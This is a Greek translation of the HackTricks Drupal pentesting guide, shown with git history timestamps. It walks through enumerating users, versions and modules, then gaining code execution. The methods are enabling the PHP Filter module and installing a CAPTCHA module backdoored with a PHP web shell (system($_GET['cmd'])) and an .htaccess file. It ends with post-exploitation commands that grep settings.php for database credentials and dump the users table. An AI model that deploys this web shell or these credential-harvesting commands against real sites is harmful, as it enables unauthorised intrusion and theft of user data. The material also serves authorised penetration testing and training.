hacktricks/network-services-pentesting/pentesting-web/drupal.md

191 lines
14 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Drupal
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Άλλοι τρόποι υποστήριξης του HackTricks:
2023-12-31 01:24:39 +00:00
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
2024-02-10 22:40:18 +00:00
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
2024-02-10 22:40:18 +00:00
## Ανακάλυψη
2022-10-02 23:08:05 +00:00
* Ελέγξτε τα **meta**
2022-10-02 23:08:05 +00:00
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **Κόμβος**: Το Drupal **ευρετηριάζει το περιεχόμενό του χρησιμοποιώντας κόμβους**. Ένας κόμβος μπορεί να **περιέχει οτιδήποτε** όπως μια ανάρτηση σε ιστολόγιο, δημοσκόπηση, άρθρο, κλπ. Οι URI των σελίδων είναι συνήθως της μορφής `/node/<nodeid>`.
2022-10-02 23:08:05 +00:00
```bash
curl drupal-site.com/node/1
```
2024-02-10 22:40:18 +00:00
## Απαρίθμηση
2022-10-02 23:08:05 +00:00
Το Drupal υποστηρίζει **τρεις τύπους χρηστών** από προεπιλογή:
2022-10-02 23:08:05 +00:00
1. **`Διαχειριστής`**: Αυτός ο χρήστης έχει πλήρη έλεγχο του ιστότοπου του Drupal.
2. **`Εξουσιοδοτημένος Χρήστης`**: Αυτοί οι χρήστες μπορούν να συνδεθούν στον ιστότοπο και να εκτελέσουν λειτουργίες όπως προσθήκη και επεξεργασία άρθρων βάσει των δικαιωμάτων τους.
3. **`Ανώνυμος`**: Όλοι οι επισκέπτες του ιστότοπου θεωρούνται ανώνυμοι. Από προεπιλογή, αυτοί οι χρήστες επιτρέπεται μόνο να διαβάζουν αναρτήσεις.
2022-10-02 23:08:05 +00:00
2024-02-10 22:40:18 +00:00
### Έκδοση
2022-10-02 23:08:05 +00:00
2024-02-10 22:40:18 +00:00
* Ελέγξτε το `/CHANGELOG.txt`
2022-10-02 23:08:05 +00:00
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Οι νεότερες εγκαταστάσεις του Drupal από προεπιλογή αποκλείουν την πρόσβαση στα αρχεία `CHANGELOG.txt` και `README.txt`.
2022-10-02 23:08:05 +00:00
{% endhint %}
2024-02-10 22:40:18 +00:00
### Απαρίθμηση ονομάτων χρηστών
2022-10-02 23:08:05 +00:00
2024-02-10 22:40:18 +00:00
#### Εγγραφή
Στο _/user/register_ απλά προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη και αν το όνομα είναι ήδη κατειλημμένο θα ενημερωθείτε:
![](<../../.gitbook/assets/image (325).png>)
2024-02-10 22:40:18 +00:00
#### Αίτηση νέου κωδικού πρόσβασης
Αν ζητήσετε ένα νέο κωδικό πρόσβασης για ένα υπάρχον όνομα χρήστη:
![](<../../.gitbook/assets/image (900).png>)
Αν ζητήσετε ένα νέο κωδικό πρόσβασης για ένα μη υπάρχον όνομα χρήστη:
![](<../../.gitbook/assets/image (304).png>)
### Λήψη αριθμού χρηστών
Με την πρόσβαση στο _/user/\<number>_ μπορείτε να δείτε τον αριθμό των υπαρχόντων χρηστών, σε αυτήν την περίπτωση είναι 2 καθώς το _/users/3_ επιστρέφει σφάλμα μη εύρεσης:
![](<../../.gitbook/assets/image (330).png>)
![](<../../.gitbook/assets/image (227) (1) (1) (1).png>)
2024-02-10 22:40:18 +00:00
### Κρυφές σελίδες
**Αναζητήστε `/node/$` όπου `$` είναι ένας αριθμός** (από 1 έως 500 για παράδειγμα).\
Μπορείτε να βρείτε **κρυφές σελίδες** (δοκιμή, ανάπτυξη) οι οποίες δεν αναφέρονται από τις μηχανές αναζήτησης.
2021-09-20 10:57:53 +00:00
#### Πληροφορίες εγκατεστημένων ενοτήτων
2021-09-20 10:57:53 +00:00
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
2024-02-10 22:40:18 +00:00
### Αυτόματο
2022-10-02 23:08:05 +00:00
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
2024-02-10 22:40:18 +00:00
### Με το Πρόσθετο PHP Filter
2022-10-02 23:08:05 +00:00
{% hint style="warning" %}
Σε παλαιότερες εκδόσεις του Drupal **(πριν την έκδοση 8)**, ήταν δυνατό να συνδεθείτε ως διαχειριστής και **να ενεργοποιήσετε το πρόσθετο `PHP filter`**, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα PHP/αποσπασμάτων."
2022-10-02 23:08:05 +00:00
{% endhint %}
Χρειάζεστε το **πρόσθετο php να είναι εγκατεστημένο** (ελέγξτε τον έλεγχο πρόσβασης στο _/modules/php_ και αν επιστρέφει **403** τότε, **υπάρχει**, αν **δεν βρέθηκε**, τότε το **πρόσθετο php δεν είναι εγκατεστημένο**)
Πηγαίνετε σε ρόσθετα_ -> (**Ελέγξτε**) _PHP Filter_ -> _Αποθηκεύστε τη διαμόρφωση_
![](<../../.gitbook/assets/image (247) (1).png>)
Στη συνέχεια κάντε κλικ στο ροσθήκη περιεχομένου_ -> Επιλέξτε _Βασική Σελίδα_ ή ρθρο_ -> Γράψτε _κώδικα php shell_ στο σώμα -> Επιλέξτε _Κώδικα PHP_ στη μορφή _Κειμένου_ -> Επιλέξτε ροεπισκόπηση_
![](<../../.gitbook/assets/image (335).png>)
Τέλος, απλά αποκτήστε πρόσβαση στο νεοδημιουργημένο κόμβο:
2022-10-02 23:08:05 +00:00
```bash
curl http://drupal-site.local/node/3
```
### Εγκατάσταση του Πρόσθετου PHP Filter
2022-10-02 23:08:05 +00:00
Από την έκδοση **8 και μετά, το** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **δεν εγκαθίσταται από προεπιλογή**. Για να επωφεληθούμε από αυτήν τη λειτουργικότητα, θα πρέπει **να εγκαταστήσουμε το πρόσθετο μόνοι μας**.
2022-10-02 23:08:05 +00:00
1. Κατεβάστε την πιο πρόσφατη έκδοση του πρόσθετου από την ιστοσελίδα του Drupal.
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. Αφού γίνει η λήψη, πηγαίνετε σε **`Διαχείριση`** > **`Αναφορές`** > **`Διαθέσιμες ενημερώσεις`**.
4. Κάντε κλικ στο **`Περιήγηση`**, επιλέξτε το αρχείο από τον κατάλογο που το κατεβάσατε, και στη συνέχεια κάντε κλικ στο **`Εγκατάσταση`**.
5. Αφού εγκατασταθεί το πρόσθετο, μπορούμε να κάνουμε κλικ στο **`Περιεχόμενο`** και **να δημιουργήσουμε μια νέα βασική σελίδα**, παρόμοια με τον τρόπο που κάναμε στο παράδειγμα του Drupal 7. Ξανά, βεβαιωθείτε ότι **επιλέγετε `Κώδικα PHP` από την αναπτυσσόμενη λίστα `Μορφοποίηση κειμένου`**.
2022-10-02 23:08:05 +00:00
### Πρόσθετο με Παρασκευασμένη Πίσω Πόρτα
2022-10-02 23:08:05 +00:00
Ένα πρόσθετο με παρασκευασμένη πίσω πόρτα μπορεί να δημιουργηθεί **προσθέτοντας ένα κέλυφος σε ένα υπάρχον πρόσθετο**. Τα πρόσθετα μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα πρόσθετο όπως το [CAPTCHA](https://www.drupal.org/project/captcha). Κύλισε προς τα κάτω και αντέγραψε τον σύνδεσμο για το tar.gz [αρχείο](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
2022-10-02 23:08:05 +00:00
* Κατέβασε το αρχείο και εξάγετε το περιεχόμενό του.
2022-10-02 23:08:05 +00:00
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
2024-02-10 22:40:18 +00:00
* Δημιουργήστε ένα **PHP web shell** με τα παρακάτω περιεχόμενα:
2022-10-02 23:08:05 +00:00
```php
<?php
system($_GET["cmd"]);
?>
```
* Επόμενο, πρέπει να δημιουργήσουμε ένα αρχείο **`.htaccess`** για να δώσουμε πρόσβαση στον εαυτό μας στον φάκελο. Αυτό είναι απαραίτητο επειδή το Drupal αρνείται την άμεση πρόσβαση στον φάκελο **`/modules`**.
2022-10-02 23:08:05 +00:00
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* Η διαμόρφωση παραπάνω θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητάμε ένα αρχείο στο /modules. Αντιγράψτε και τα δύο αρχεία αυτά στον φάκελο captcha και δημιουργήστε ένα αρχείο αρχειοθέτησης.
2022-10-02 23:08:05 +00:00
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
*Υποθέτοντας ότι έχουμε **διαχειριστική πρόσβαση** στον ιστότοπο, κάντε κλικ στο **`Διαχείριση`** και στη συνέχεια στο **`Επέκταση`** στην πλαϊνή μπάρα. Στη συνέχεια, κάντε κλικ στο κουμπί **`+ Εγκατάσταση νέου πρόσθετου`**, και θα μας οδηγηθεί στη σελίδα εγκατάστασης, όπως το `http://drupal-site.local/admin/modules/install`. Περιηγηθείτε στο αρχείο Captcha με backdoor και κάντε κλικ στο **`Εγκατάσταση`**.
* Αφού η εγκατάσταση είναι επιτυχής, περιηγηθείτε στο **`/modules/captcha/shell.php`** για να εκτελέσετε εντολές.
2022-10-02 23:08:05 +00:00
## Μετά την Εκμετάλλευση
2021-04-01 21:42:37 +00:00
2024-02-10 22:40:18 +00:00
### Διαβάστε το settings.php
```
2021-04-01 21:42:37 +00:00
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
### Αδειάστε τους χρήστες από τη βάση δεδομένων
```
2021-04-01 21:42:37 +00:00
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
2024-02-10 22:40:18 +00:00
## Αναφορές
2022-10-02 23:08:05 +00:00
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Άλλοι τρόποι υποστήριξης του HackTricks:
2023-12-31 01:24:39 +00:00
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
2024-02-10 22:40:18 +00:00
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>